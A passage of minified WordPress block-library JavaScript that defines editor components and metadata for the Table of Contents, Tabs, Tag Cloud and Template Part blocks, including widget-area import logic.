list"),onClick:()=>i({ordered:!1}),isActive:a===!1}),(0,rr.jsx)(Ao.ToolbarButton,{icon:(0,Ft.isRTL)()?R0:zi,title:(0,Ft.__)("Ordered"),description:(0,Ft.__)("Convert to ordered list"),onClick:()=>i({ordered:!0}),isActive:a===!0})]}),m&&(0,rr.jsx)(Ao.ToolbarGroup,{children:(0,rr.jsx)(Ao.ToolbarButton,{onClick:()=>p(n,(0,Sce.createBlock)("core/list",{ordered:a,values:(0,Tce.renderToString)((0,rr.jsx)(zg,{nestedHeadingList:f,ordered:a}))})),children:(0,Ft.__)("Convert to static list")})})]}),g=(0,rr.jsx)(us.InspectorControls,{children:(0,rr.jsxs)(Ao.__experimentalToolsPanel,{label:(0,Ft.__)("Settings"),resetAll:()=>{i({onlyIncludeCurrentPage:!1,maxLevel:void 0,ordered:!0})},dropdownMenuProps:d,children:[(0,rr.jsx)(Ao.__experimentalToolsPanelItem,{hasValue:()=>!!t,label:(0,Ft.__)("Only include current page"),onDeselect:()=>i({onlyIncludeCurrentPage:!1}),isShownByDefault:!0,children:(0,rr.jsx)(Ao.ToggleControl,{label:(0,Ft.__)("Only include current page"),checked:t,onChange:y=>i({onlyIncludeCurrentPage:y}),help:t?(0,Ft.__)("Only including headings from the current page (if the post is paginated)."):(0,Ft.__)("Include headings from all pages (if the post is paginated).")})}),(0,rr.jsx)(Ao.__experimentalToolsPanelItem,{hasValue:()=>!!r,label:(0,Ft.__)("Limit heading levels"),onDeselect:()=>i({maxLevel:void 0}),isShownByDefault:!0,children:(0,rr.jsx)(Ao.SelectControl,{__next40pxDefaultSize:!0,label:(0,Ft.__)("Include headings down to level"),value:r||"",options:[{value:"",label:(0,Ft.__)("All levels")},{value:"1",label:(0,Ft.__)("Heading 1")},{value:"2",label:(0,Ft.__)("Heading 2")},{value:"3",label:(0,Ft.__)("Heading 3")},{value:"4",label:(0,Ft.__)("Heading 4")},{value:"5",label:(0,Ft.__)("Heading 5")},{value:"6",label:(0,Ft.__)("Heading 6")}],onChange:y=>i({maxLevel:y?parseInt(y):void 0}),help:r?(0,Ft.__)("Only include headings up to and including this level."):(0,Ft.__)("Including all heading levels in the table of contents.")})})]})});return e.length===0?(0,rr.jsxs)(rr.Fragment,{children:[(0,rr.jsx)("div",{...l,children:(0,rr.jsx)(Ao.Placeholder,{icon:(0,rr.jsx)(us.BlockIcon,{icon:u1}),label:(0,Ft.__)("Table of Contents"),instructions:(0,Ft.__)("Start adding Heading blocks to create a table of contents. Headings with HTML anchors will be linked here.")})}),g]}):(0,rr.jsxs)(rr.Fragment,{children:[(0,rr.jsx)("nav",{...l,children:(0,rr.jsx)(a?"ol":"ul",{children:(0,rr.jsx)(zg,{nestedHeadingList:f,disableLinkActivation:!0,onClick:u,ordered:a})})}),h,g]})}var Ice=o(T(),1);var $S=o(v(),1);function Ece({attributes:{headings:e=[],ordered:t=!0}}){if(e.length===0)return null;let r=t?"ol":"ul";return(0,$S.jsx)("nav",{...Ice.useBlockProps.save(),children:(0,$S.jsx)(r,{children:(0,$S.jsx)(zg,{nestedHeadingList:jb(e),ordered:t})})})}var{name:Nce}=GS,Dce={icon:u1,edit:jA,save:Ece,example:{innerBlocks:[{name:"core/heading",attributes:{level:2,content:(0,vu.__)("Heading")}},{name:"core/heading",attributes:{level:3,content:(0,vu.__)("Subheading")}},{name:"core/heading",attributes:{level:2,content:(0,vu.__)("Heading")}},{name:"core/heading",attributes:{level:3,content:(0,vu.__)("Subheading")}}],attributes:{headings:[{content:(0,vu.__)("Heading"),level:2},{content:(0,vu.__)("Subheading"),level:3},{content:(0,vu.__)("Heading"),level:2},{content:(0,vu.__)("Subheading"),level:3}]}}},Jwe=()=>N({name:Nce,metadata:GS,settings:Dce});var GA={};q(GA,{init:()=>oCe,metadata:()=>KS,name:()=>zce,settings:()=>Vce});var $b=o(I(),1);var bu=o(T(),1),qS=o(z(),1),Kd=o(j(),1);var Zd=o(v(),1);function Lce({clientId:e}){return(0,Zd.jsxs)(Zd.Fragment,{children:[(0,Zd.jsx)(dc,{tabsClientId:e}),(0,Zd.jsx)(fc,{tabsClientId:e})]})}var Wb=o(v(),1),eCe=[["core/tabs-menu",{lock:{remove:!0}},[["core/tabs-menu-item",{anchor:"tab-1-button"}],["core/tabs-menu-item",{anchor:"tab-2-button"}]]],["core/tab-panel",{lock:{remove:!0}},[["core/tab",{anchor:"tab-1",label:"Tab 1"},[["core/paragraph"]]],["core/tab",{anchor:"tab-2",label:"Tab 2"},[["core/paragraph"]]]]]];function tCe({clientId:e,attributes:t,setAttributes:r,__unstableLayoutClassNames:a}){let{anchor:n,activeTabIndex:i,editorActiveTabIndex:l}=t;(0,Kd.useEffect)(()=>{l===void 0&&r({editorActiveTabIndex:i})},[]);let{removeBlock:s}=(0,qS.useDispatch)(bu.store),{tabs:c,menuItems:u}=(0,qS.useSelect)(h=>{let{getBlocks:g}=h(bu.store),b=g(e),y=b.find(x=>x.name==="core/tab-panel"),_=b.find(x=>x.name==="core/tabs-menu");return{tabs:y?y.innerBlocks.filter(x=>x.name==="core/tab"):[],menuItems:_?g(_.clientId).filter(x=>x.name==="core/tabs-menu-item").map(x=>({clientId:x.clientId,anchor:x.attributes.anchor??""})):[]}},[e]),m=(0,Kd.useRef)(null);(0,Kd.useEffect)(()=>{let h=c.map(S=>({clientId:S.clientId,anchor:S.attributes.anchor??""}));if(m.current===null){m.current={tabs:h,menuItems:[...u]};return}let{tabs:g,menuItems:b}=m.current,y=h.length<g.length,_=u.length<b.length;if(m.current={tabs:h,menuItems:[...u]},!y&&!_||y&&_)return;let x=new Set(h.map(S=>S.clientId)),k=new Set(u.map(S=>S.clientId));y?g.forEach(S=>{if(x.has(S.clientId))return;let C=S.anchor?`${S.anchor}-button`:null,E=C?u.find(B=>B.anchor===C):null;E&&(s(E.clientId,!1),m.current.menuItems=m.current.menuItems.filter(B=>B.clientId!==E.clientId))}):b.forEach(S=>{if(k.has(S.clientId))return;let C=S.anchor?.replace(/-button$/,"")??"",E=c.find(B=>(B.attributes.anchor??"")===C);E&&(s(E.clientId,!1),m.current.tabs=m.current.tabs.filter(B=>B.clientId!==E.clientId))})},[c,u,s]);let p=(0,Kd.useMemo)(()=>({"core/tabs-list":c.map((g,b)=>({id:g.attributes.anchor||`tab-${b}`,label:g.attributes.label||"",clientId:g.clientId,index:b})),"core/tabs-id":n,"core/tabs-activeTabIndex":i,"core/tabs-editorActiveTabIndex":l}),[c,n,i,l]),d=(0,bu.useBlockProps)({className:a}),f=(0,bu.useInnerBlocksProps)(d,{__experimentalCaptureToolbars:!0,template:eCe,templateLock:!1,renderAppender:!1});return(0,Wb.jsx)(bu.BlockContextProvider,{value:p,children:(0,Wb.jsxs)("div",{...f,children:[(0,Wb.jsx)(Lce,{clientId:e,attributes:t,setAttributes:r}),f.children]})})}var Mce=tCe;var ZS=o(T(),1),Ace=o(v(),1);function Rce({attributes:e}){let{anchor:t}=e,r=t,a=ZS.useBlockProps.save(),n=ZS.useInnerBlocksProps.save(a);return(0,Ace.jsx)("div",{...n,id:r})}var KS={$schema:"https://schemas.wp.org/trunk/block.json",__experimental:!0,apiVersion:3,name:"core/tabs",title:"Tabs",description:"Display content in a tabbed interface to help users navigate detailed content with ease.",version:"1.0.0",category:"design",textdomain:"default",allowedBlocks:["core/tabs-menu","core/tab-panel"],attributes:{activeTabIndex:{type:"number",default:0},editorActiveTabIndex:{type:"number",role:"local"}},supports:{align:!0,anchor:!0,color:{text:!0,background:!0,__experimentalDefaultControls:{text:!0,background:!0}},layout:{default:{type:"flex",flexWrap:"nowrap",justifyContent:"stretch",verticalAlignment:"stretch",orientation:"vertical"},allowSwitching:!1,allowVerticalAlignment:!0,allowJustification:!0,allowOrientation:!0,allowSizingOnChildren:!0},html:!1,interactivity:!0,spacing:{blockGap:!0,margin:!0,padding:!0},typography:{fontSize:!0,__experimentalFontFamily:!0},renaming:!0},providesContext:{"core/tabs-activeTabIndex":"activeTabIndex","core/tabs-editorActiveTabIndex":"editorActiveTabIndex"},usesContext:["core/tabs-list","core/tabs-id"],editorScript:"file:./index.js",editorStyle:"file:./index.css",style:"file:./style-index.css",viewScriptModule:"@wordpress/block-library/tabs/view"};var{name:zce}=KS,Vce={icon:TB,example:{innerBlocks:[{name:"core/tabs-menu",innerBlocks:[{name:"core/tabs-menu-item",attributes:{anchor:"tab-1-button"}},{name:"core/tabs-menu-item",attributes:{anchor:"tab-2-button"}}]},{name:"core/tab-panel",innerBlocks:[1,2].map(e=>({name:"core/tab",attributes:{anchor:`tab-${e}`,label:(0,$b.sprintf)((0,$b.__)("Tab %s"),e)},innerBlocks:[{name:"core/paragraph",attributes:{content:(0,$b.__)("In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing.")}}]}))}]},edit:Mce,save:Rce},oCe=()=>N({name:zce,metadata:KS,settings:Vce});var WA={};q(WA,{init:()=>iCe,metadata:()=>YS,name:()=>Uce,settings:()=>Gce});var Vg=o(T(),1),Fce=o(z(),1);var Gm=o(v(),1);function aCe({clientId:e,__unstableLayoutClassNames:t}){let{tabsClientId:r}=(0,Fce.useSelect)(i=>({tabsClientId:i(Vg.store).getBlockRootClientId(e)}),[e]),a=(0,Vg.useBlockProps)({className:w(t),role:"tablist"}),n=(0,Vg.useInnerBlocksProps)(a,{allowedBlocks:["core/tabs-menu-item"],orientation:"horizontal",renderAppender:!1});return(0,Gm.jsxs)(Gm.Fragment,{children:[(0,Gm.jsx)(dc,{tabsClientId:r}),(0,Gm.jsx)(fc,{tabsClientId:r}),(0,Gm.jsx)("div",{...n})]})}var Oce=aCe;var QS=o(T(),1),Hce=o(v(),1);function jce(){let e=QS.useBlockProps.save({role:"tablist"}),t=QS.useInnerBlocksProps.save(e);return(0,Hce.jsx)("div",{...t})}var YS={$schema:"https://schemas.wp.org/trunk/block.json",__experimental:!0,apiVersion:3,name:"core/tabs-menu",title:"Tabs Menu",description:"Display the tab buttons for a tabbed interface.",version:"1.0.0",category:"design",textdomain:"default",parent:["core/tabs"],allowedBlocks:["core/tabs-menu-item"],usesContext:["core/tabs-list"],attributes:{},supports:{html:!1,reusable:!1,lock:!1,dimensions:{aspectRatio:!1,height:!1,minHeight:!1,width:!1},color:{background:!0,text:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,__experimentalFontFamily:!0},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0},layout:{default:{type:"flex",flexWrap:"nowrap",orientation:"horizontal"},allowSwitching:!1,allowVerticalAlignment:!0,allowJustification:!0,allowOrientation:!0},spacing:{padding:!0,margin:!0,blockGap:!0,__experimentalDefaultControls:{padding:!0,margin:!0,blockGap:!0}}},editorScript:"file:./index.js",editorStyle:"file:./editor.css",style:"file:./style-index.css"};var{name:Uce}=YS,Gce={icon:CB,edit:Oce,save:jce},iCe=()=>N({name:Uce,metadata:YS,settings:Gce});var $A={};q($A,{init:()=>uCe,metadata:()=>e8,name:()=>Yce,settings:()=>Xce});var XS=o(I(),1),Qd=o(T(),1),JS=o(z(),1),Zb=o(j(),1);var Wce=o(T(),1);var qb=o(v(),1);function $ce({tabsClientId:e}){return(0,qb.jsxs)(Wce.BlockControls,{children:[(0,qb.jsx)(dc,{tabsClientId:e}),(0,qb.jsx)(fc,{tabsClientId:e})]})}var Wm=o(v(),1),lCe=[];function sCe({attributes:e,context:t,clientId:r,__unstableLayoutClassNames:a}){let n=t["core/tabs-list"]||lCe,i=t["core/tabs-activeTabIndex"]??0,l=t["core/tabs-editorActiveTabIndex"],s=(0,Zb.useMemo)(()=>l??i,[l,i]),{menuItemIndex:c,tabsClientId:u,selectedTabClientId:m}=(0,JS.useSelect)(B=>{let{getBlockOrder:D,getBlockRootClientId:M,getSelectedBlockClientIds:O,hasSelectedInnerBlock:R}=B(Qd.store),F=M(r),P=F?M(F):null,$=D(F).indexOf(r),V=O(),G=null;for(let K of n)if(V.includes(K.clientId)||R(K.clientId,!0)){G=K.clientId;break}return{menuItemIndex:$,tabsClientId:P,selectedTabClientId:G}},[r,n]),p=e.anchor?.replace(/-button$/,"")??"",d=p&&n.find(B=>B.id===p)||n[c]||{},f=d.index??c,h=d.id||`tab-${c}`,g=d.clientId||"",b=d.label||"",y=f===s,_=g===m,{__unstableMarkNextChangeAsNotPersistent:x,updateBlockAttributes:k}=(0,JS.useDispatch)(Qd.store),S=(0,Zb.useCallback)(B=>{B.preventDefault(),u&&f!==s&&(x(),k(u,{editorActiveTabIndex:f}))},[u,f,s,k,x]),C=(0,Zb.useCallback)(B=>{g&&k(g,{label:B})},[g,k]),E=(0,Qd.useBlockProps)({className:w(a,{"is-active":y,"is-selected":_}),"aria-controls":h,"aria-selected":y,id:`${h}--tab`,role:"tab",tabIndex:-1,onClick:S});return(0,Wm.jsxs)(Wm.Fragment,{children:[(0,Wm.jsx)($ce,{tabsClientId:u}),(0,Wm.jsx)("button",{...E,type:"button",children:(0,Wm.jsx)(Qd.RichText,{tagName:"span",withoutInteractiveFormatting:!0,placeholder:(0,XS.sprintf)((0,XS.__)("Tab title %d"),c+1),value:b,onChange:C})})]})}var qce=sCe;var Zce=o(T(),1),Kce=o(v(),1);function Qce(){let e=Zce.useBlockProps.save({type:"button",role:"tab"});return(0,Kce.jsx)("button",{...e})}var e8={$schema:"https://schemas.wp.org/trunk/block.json",__experimental:!0,apiVersion:3,name:"core/tabs-menu-item",title:"Tab Menu Item",description:"A single tab button in the tabs menu.",version:"1.0.0",category:"design",textdomain:"default",parent:["core/tabs-menu"],usesContext:["core/tabs-list","core/tabs-activeTabIndex","core/tabs-editorActiveTabIndex","core/tabs-menu-item-index","core/tabs-menu-item-id","core/tabs-menu-item-label"],attributes:{anchor:{type:"string",default:""}},supports:{html:!1,reusable:!1,lock:!1,color:{background:!0,text:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,__experimentalFontFamily:!0,textAlign:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{padding:!0,__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},layout:{allowEditing:!1}},editorScript:"file:./index.js",editorStyle:"file:./editor.css",style:"file:./style-index.css"};var{name:Yce}=e8,Xce={icon:kB,edit:qce,save:Qce},uCe=()=>N({name:Yce,metadata:e8,settings:Xce});var ZA={};q(ZA,{init:()=>gCe,metadata:()=>t8,name:()=>lue,settings:()=>sue});var qA=o(U(),1),mCe={from:[{type:"block",blocks:["core/categories"],transform:()=>(0,qA.createBlock)("core/tag-cloud")}],to:[{type:"block",blocks:["core/categories"],transform:()=>(0,qA.createBlock)("core/categories")}]},Jce=mCe;var t8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/tag-cloud",title:"Tag Cloud",category:"widgets",description:"A cloud of popular keywords, each sized by how often it appears.",textdomain:"default",attributes:{numberOfTags:{type:"number",default:45,minimum:1,maximum:100},taxonomy:{type:"string",default:"post_tag"},showTagCounts:{type:"boolean",default:!1},smallestFontSize:{type:"string",default:"8pt"},largestFontSize:{type:"string",default:"22pt"}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"outline",label:"Outline"}],supports:{anchor:!0,html:!1,align:!0,spacing:{margin:!0,padding:!0},typography:{lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}}};var Ot=o(A(),1),rue=o(z(),1),mn=o(I(),1),Fg=o(T(),1),oue=o(Y(),1),aue=o(Iu(),1),nue=o(ue(),1);var vr=o(v(),1),dCe=1,fCe=100,eue=.1,tue=100;function hCe({attributes:e,setAttributes:t,name:r}){let{taxonomy:a,showTagCounts:n,numberOfTags:i,smallestFontSize:l,largestFontSize:s}=e,[c]=(0,Fg.useSettings)("spacing.units"),u=W(),m=(0,Ot.__experimentalUseCustomUnits)({availableUnits:c?[...c,"pt"]:["%","px","em","rem","pt"]}),p=(0,rue.useSelect)(k=>k(oue.store).getTaxonomies({per_page:-1}),[]),d=()=>{let k={label:(0,mn.__)("- Select -"),value:"",disabled:!0},S=(p??[]).filter(C=>!!C.show_cloud).map(C=>({value:C.slug,label:C.name}));return[k,...S]},f=(k,S)=>{let[C,E]=(0,Ot.__experimentalParseQuantityAndUnitFromRawValue)(S);if(!Number.isFinite(C))return;let B={[k]:S};Object.entries({smallestFontSize:l,largestFontSize:s}).forEach(([D,M])=>{let[O,R]=(0,Ot.__experimentalParseQuantityAndUnitFromRawValue)(M);D!==k&&R!==E&&(B[D]=`${O}${E}`)}),t(B)},h=(0,vr.jsx)(Fg.InspectorControls,{children:(0,vr.jsxs)(Ot.__experimentalToolsPanel,{label:(0,mn.__)("Settings"),resetAll:()=>{t({taxonomy:"post_tag",showTagCounts:!1,numberOfTags:45,smallestFontSize:"8pt",largestFontSize:"22pt"})},dropdownMenuProps:u,children:[(0,vr.jsx)(Ot.__experimentalToolsPanelItem,{hasValue:()=>a!=="post_tag",label:(0,mn.__)("Taxonomy"),onDeselect:()=>t({taxonomy:"post_tag"}),isShownByDefault:!0,children:(0,vr.jsx)(Ot.SelectControl,{__next40pxDefaultSize:!0,label:(0,mn.__)("Taxonomy"),options:d(),value:a,onChange:k=>t({taxonomy:k})})}),(0,vr.jsx)(Ot.__experimentalToolsPanelItem,{hasValue:()=>l!=="8pt"||s!=="22pt",label:(0,mn.__)("Font size"),onDeselect:()=>t({smallestFontSize:"8pt",largestFontSize:"22pt"}),isShownByDefault:!0,children:(0,vr.jsxs)(Ot.Flex,{gap:4,children:[(0,vr.jsx)(Ot.FlexItem,{isBlock:!0,children:(0,vr.jsx)(Ot.__experimentalUnitControl,{label:(0,mn.__)("Smallest size"),value:l,onChange:k=>{f("smallestFontSize",k)},units:m,min:eue,max:tue,size:"__unstable-large"})}),(0,vr.jsx)(Ot.FlexItem,{isBlock:!0,children:(0,vr.jsx)(Ot.__experimentalUnitControl,{label:(0,mn.__)("Largest size"),value:s,onChange:k=>{f("largestFontSize",k)},units:m,min:eue,max:tue,size:"__unstable-large"})})]})}),(0,vr.jsx)(Ot.__experimentalToolsPanelItem,{hasValue:()=>i!==45,label:(0,mn.__)("Number of tags"),onDeselect:()=>t({numberOfTags:45}),isShownByDefault:!0,children:(0,vr.jsx)(Ot.RangeControl,{__next40pxDefaultSize:!0,label:(0,mn.__)("Number of tags"),value:i,onChange:k=>t({numberOfTags:k}),min:dCe,max:fCe,required:!0})}),(0,vr.jsx)(Ot.__experimentalToolsPanelItem,{hasValue:()=>n!==!1,label:(0,mn.__)("Show tag counts"),onDeselect:()=>t({showTagCounts:!1}),isShownByDefault:!0,children:(0,vr.jsx)(Ot.ToggleControl,{label:(0,mn.__)("Show tag counts"),checked:n,onChange:()=>t({showTagCounts:!n})})})]})}),{content:g,status:b,error:y}=(0,aue.useServerSideRender)({attributes:e,skipBlockSupportAttributes:!0,block:r}),_=(0,nue.useDisabled)(),x=(0,Fg.useBlockProps)({ref:_});return(0,vr.jsxs)(vr.Fragment,{children:[h,b==="loading"&&(0,vr.jsx)("div",{...x,children:(0,vr.jsx)(Ot.Spinner,{})}),b==="error"&&(0,vr.jsx)("div",{...x,children:(0,vr.jsx)("p",{children:(0,mn.sprintf)((0,mn.__)("Error: %s"),y)})}),b==="success"&&(0,vr.jsx)(no,{wrapperProps:x,html:g})]})}var iue=hCe;var{name:lue}=t8,sue={icon:m1,example:{},edit:iue,transforms:Jce},gCe=()=>N({name:lue,metadata:t8,settings:sue});var JA={};q(JA,{init:()=>CCe,metadata:()=>r8,name:()=>que,settings:()=>Zue});var Gue=o(Y(),1),Wue=o(z(),1);var XA=o(Vc(),1),$ue=o(Ho(),1);var r8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/template-part",title:"Template Part",category:"theme",description:"Edit the different global regions of your site, like the header, footer, sidebar, or create your own.",textdomain:"default",attributes:{slug:{type:"string"},theme:{type:"string"},tagName:{type:"string"},area:{type:"string"}},supports:{align:!0,html:!1,reusable:!1,renaming:!1,interactivity:{clientNavigation:!0}},editorStyle:"wp-block-template-part-editor"};var Rue=o(U(),1),$g=o(z(),1),to=o(T(),1),yc=o(A(),1),Li=o(I(),1),Jb=o(Y(),1),zue=o(j(),1),Vue=o(yr(),1);var qm=o(I(),1),Xd=o(A(),1),fue=o(j(),1),hue=o(z(),1),gue=o(Y(),1);var Og=o(z(),1),o8=o(Y(),1),cue=o(T(),1),uue=o(j(),1),mue=o(U(),1),KA=o(I(),1);function Hg(e,t){let{templateParts:r,isResolving:a}=(0,Og.useSelect)(i=>{let{getEntityRecords:l,isResolving:s}=i(o8.store),c={per_page:-1};return{templateParts:l("postType","wp_template_part",c),isResolving:s("getEntityRecords",["postType","wp_template_part",c])}},[]);return{templateParts:(0,uue.useMemo)(()=>r?r.filter(i=>Ja(i.theme,i.slug)!==t&&(!e||e==="uncategorized"||i.area===e))||[]:[],[r,e,t]),isResolving:a}}function jg(e,t){return(0,Og.useSelect)(r=>{let a=e?`core/template-part/${e}`:"core/template-part",{getBlockRootClientId:n,getPatternsByBlockTypes:i}=r(cue.store),l=n(t);return i(a,l)},[e,t])}function a8(e,t){let{saveEntityRecord:r}=(0,Og.useDispatch)(o8.store);return async(a=[],n=(0,KA.__)("Untitled Template Part"))=>{let i=r3(n).replace(/[^\w-]+/g,"")||"wp-custom-part",l={title:n,slug:i,content:(0,mue.serialize)(a),area:e},s=await r("postType","wp_template_part",l);t({slug:s.slug,theme:s.theme,area:void 0})}}function n8(e){return(0,Og.useSelect)(t=>{let r=t(o8.store).getCurrentTheme()?.default_template_part_areas||[],a=r.find(i=>i.area===e),n=r.find(i=>i.area==="uncategorized");return{icon:a?.icon||n?.icon,label:a?.label||(0,KA.__)("Template Part"),tagName:a?.area_tag??"div"}},[e])}var pue=o(j(),1),$m=o(I(),1),ms=o(A(),1),yu=o(v(),1);function due({areaLabel:e,onClose:t,onSubmit:r}){let[a,n]=(0,pue.useState)(""),i=l=>{l.preventDefault(),r(a)};return(0,yu.jsx)(ms.Modal,{title:(0,$m.sprintf)((0,$m.__)("Create new %s"),e.toLowerCase()),onRequestClose:t,focusOnMount:"firstContentElement",size:"small",children:(0,yu.jsx)("form",{onSubmit:i,children:(0,yu.jsxs)(ms.__experimentalVStack,{spacing:"5",children:[(0,yu.jsx)(ms.TextControl,{label:(0,$m.__)("Name"),value:a,onChange:n,placeholder:(0,$m.__)("Custom Template Part"),__next40pxDefaultSize:!0}),(0,yu.jsxs)(ms.__experimentalHStack,{justify:"right",children:[(0,yu.jsx)(ms.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{t(),n("")},children:(0,$m.__)("Cancel")}),(0,yu.jsx)(ms.Button,{variant:"primary",type:"submit",accessibleWhenDisabled:!0,disabled:!a.length,__next40pxDefaultSize:!0,children:(0,$m.__)("Create")})]})]})})})}var Yd=o(v(),1);function vue({area:e,clientId:t,templatePartId:r,onOpenSelectionModal:a,setAttributes:n}){let{templateParts:i,isResolving:l}=Hg(e,r),s=jg(e,t),{isBlockBasedTheme:c,canCreateTemplatePart:u}=(0,hue.useSelect)(h=>{let{getCurrentTheme:g,canUser:b}=h(gue.store);return{isBlockBasedTheme:g()?.is_block_theme,canCreateTemplatePart:b("create",{kind:"postType",name:"wp_template_part"})}},[]),[m,p]=(0,fue.useState)(!1),d=n8(e),f=a8(e,n);return(0,Yd.jsxs)(Xd.Placeholder,{icon:Wh(d.icon),label:d.label,instructions:c?(0,qm.sprintf)((0,qm.__)("Choose an existing %s or create a new one."),d.label.toLowerCase()):(0,qm.sprintf)((0,qm.__)("Choose an existing %s."),d.label.toLowerCase()),children:[l&&(0,Yd.jsx)(Xd.Spinner,{}),!l&&!!(i.length||s.length)&&(0,Yd.jsx)(Xd.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:a,children:(0,qm.__)("Choose")}),!l&&c&&u&&(0,Yd.jsx)(Xd.Button,{__next40pxDefaultSize:!0,variant:"secondary",onClick:()=>{p(!0)},children:(0,qm.__)("Start blank")}),m&&(0,Yd.jsx)(due,{areaLabel:d.label,onClose:()=>p(!1),onSubmit:h=>{f([],h)}})]})}var Kb=o(j(),1),Zm=o(I(),1),xue=o(yr(),1),_ue=o(z(),1),kue=o(T(),1),i8=o(A(),1);var bue=o(U(),1);function yue(e){return{name:Ja(e.theme,e.slug),title:e.title.rendered,blocks:(0,bue.parse)(e.content.raw),templatePart:e}}var vc=o(v(),1);function wue({setAttributes:e,onClose:t,templatePartId:r=null,area:a,clientId:n}){let[i,l]=(0,Kb.useState)(""),{templateParts:s}=Hg(a,r),c=(0,Kb.useMemo)(()=>{let g=s.map(b=>yue(b));return uv(g,i)},[s,i]),u=jg(a,n),m=(0,Kb.useMemo)(()=>uv(u,i),[u,i]),{createSuccessNotice:p}=(0,_ue.useDispatch)(xue.store),d=g=>{e({slug:g.slug,theme:g.theme,area:void 0}),p((0,Zm.sprintf)((0,Zm.__)('Template Part "%s" inserted.'),g.title?.rendered||g.slug),{type:"snackbar"}),t()},f=!!c.length,h=!!m.length;return(0,vc.jsxs)("div",{className:"block-library-template-part__selection-content",children:[(0,vc.jsx)("div",{className:"block-library-template-part__selection-search",children:(0,vc.jsx)(i8.SearchControl,{onChange:l,value:i,label:(0,Zm.__)("Search"),placeholder:(0,Zm.__)("Search")})}),f&&(0,vc.jsxs)("div",{children:[(0,vc.jsx)("h2",{children:(0,Zm.__)("Existing template parts")}),(0,vc.jsx)(kue.__experimentalBlockPatternsList,{blockPatterns:c,onClickPattern:g=>{d(g.templatePart)}})]}),!f&&!h&&(0,vc.jsx)(i8.__experimentalHStack,{alignment:"center",children:(0,vc.jsx)("p",{children:(0,Zm.__)("No results found.")})})]})}var Yb=o(Y(),1),l8=o(A(),1),Gg=o(I(),1),Iue=o(z(),1),Eue=o(T(),1);var bc=o(I(),1),Qb=o(j(),1),Ug=o(z(),1),Di=o(A(),1),YA=o(Y(),1),Pue=o(yr(),1);var jn=o(U(),1);function Cue(e){if(e.id_base!=="block"){let a;return e._embedded.about[0].is_multi?a={idBase:e.id_base,instance:e.instance}:a={id:e.id},Sue((0,jn.createBlock)("core/legacy-widget",a))}let t=(0,jn.parse)(e.instance.raw.content,{__unstableSkipAutop:!0});if(!t.length)return;let r=t[0];return r.name==="core/widget-group"?(0,jn.createBlock)((0,jn.getGroupingBlockName)(),void 0,QA(r.innerBlocks)):r.innerBlocks.length>0?(0,jn.cloneBlock)(r,void 0,QA(r.innerBlocks)):r}function Sue(e){let t=(0,jn.getPossibleBlockTransformations)([e]).filter(r=>{if(!r.transforms)return!0;let a=r.transforms?.from?.find(i=>i.blocks&&i.blocks.includes("*")),n=r.transforms?.to?.find(i=>i.blocks&&i.blocks.includes("*"));return!a&&!n});if(t.length)return(0,jn.switchToBlockType)(e,t[0].name)}function QA(e=[]){return e.flatMap(t=>t.name==="core/legacy-widget"?Sue(t):(0,jn.createBlock)(t.name,t.attributes,QA(t.innerBlocks))).filter(t=>!!t)}var xu=o(v(),1),Tue={per_page:-1,_fields:"id,name,description,status,widgets"};function Bue({area:e,setAttributes:t}){let[r,a]=(0,Qb.useState)(""),[n,i]=(0,Qb.useState)(!1),l=(0,Ug.useRegistry)(),{sidebars:s,hasResolved:c}=(0,Ug.useSelect)(f=>{let{getSidebars:h,hasFinishedResolution:g}=f(YA.store);return{sidebars:h(Tue),hasResolved:g("getSidebars",[Tue])}},[]),{createErrorNotice:u}=(0,Ug.useDispatch)(Pue.store),m=a8(e,t),p=(0,Qb.useMemo)(()=>{let f=(s??[]).filter(h=>h.id!=="wp_inactive_widgets"&&h.widgets.length>0).map(h=>({value:h.id,label:h.name}));return f.length?[{value:"",label:(0,bc.__)("Select widget area")},...f]:[]},[s]);if(!c)return(0,xu.jsx)(Di.__experimentalSpacer,{marginBottom:"0"});if(c&&!p.length)return null;async function d(f){if(f.preventDefault(),n||!r)return;i(!0);let h=p.find(({value:x})=>x===r),{getWidgets:g}=l.resolveSelect(YA.store),b=await g({sidebar:h.value,_embed:"about"}),y=new Set,_=b.flatMap(x=>{let k=Cue(x);return k||(y.add(x.id_base),[])});await m(_,(0,bc.sprintf)((0,bc.__)("Widget area: %s"),h.label)),y.size&&u((0,bc.sprintf)((0,bc.__)("Unable to import the following widgets: %s."),Array.from(y).join(", ")),{type:"snackbar"}),i(!1)}return(0,xu.jsx)(Di.__experimentalSpacer,{marginBottom:"4",children:(0,xu.jsxs)(Di.__experimentalHStack,{as:"form",onSubmit:d,children:[(0,xu.jsx)(Di.FlexBlock,{children:(0,xu.jsx)(Di.SelectControl,{label:(0,bc.__)("Import widget area"),value:r,options:p,onChange:f=>a(f),disabled:!p.length,__next40pxDefaultSize:!0})}),(0,xu.jsx)(Di.FlexItem,{style:{marginBottom:"8px",marginTop:"auto"},children:(0,xu.jsx)(Di.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",isBusy:n,"aria-disabled":n||!r,children:(0,bc._x)("Import","button label")})})]})})}var ps=o(v(),1),{HTMLElementControl:bCe}=Z(Eue.privateApis);function 